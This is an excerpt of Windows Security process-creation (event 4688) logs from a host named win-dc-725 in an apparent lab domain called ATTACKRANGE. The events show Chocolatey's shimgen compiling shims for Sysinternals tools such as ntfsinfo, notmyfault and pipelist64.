-Process Information: - New Process ID: 0xd60 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd80 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246626 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd80 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ntfsinfo.exe" --output="C:\ProgramData\chocolatey\bin\ntfsinfo.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ntfsinfo.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246625 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd30 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xcd8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE1A0.tmp" "c:\ProgramData\chocolatey\bin\CSCA8C60533E9CB4D57B35AAF1AB11B3DDE.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246624 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf2c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xcd8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246623 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcd8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa40 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\notmyfaultc64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123415_3958\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123415_3958\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_3958\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_3958\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_3958\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246622 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xce0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa40 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246621 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa40 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\notmyfaultc64.exe" --output="C:\ProgramData\chocolatey\bin\notmyfaultc64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\notmyfaultc64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246620 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb54 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd24 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE097.tmp" "c:\ProgramData\chocolatey\bin\CSC44A74BCEECD64BF782D4C81444CDFB8.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246619 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x484 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd24 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246618 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd24 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdc0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\notmyfaultc.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123415_1302\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123415_1302\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_1302\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_1302\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123415_1302\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246617 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5e0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdc0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246616 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdc0 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\notmyfaultc.exe" --output="C:\ProgramData\chocolatey\bin\notmyfaultc.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\notmyfaultc.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246615 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x310 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x4b0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESDF8D.tmp" "c:\ProgramData\chocolatey\bin\CSCA63896AB105A44D5B1DD804F7FB63F7F.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246659 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa1c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfe0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246658 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfe0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3fc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pipelist64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123416_9583\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123416_9583\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_9583\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_9583\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_9583\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246657 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa44 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3fc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246656 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3fc - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pipelist64.exe" --output="C:\ProgramData\chocolatey\bin\pipelist64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pipelist64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246655 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd60 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x824 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE6B1.tmp" "c:\ProgramData\chocolatey\bin\CSCA1CED7AE335E4F66959A6C3633FC99E9.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is 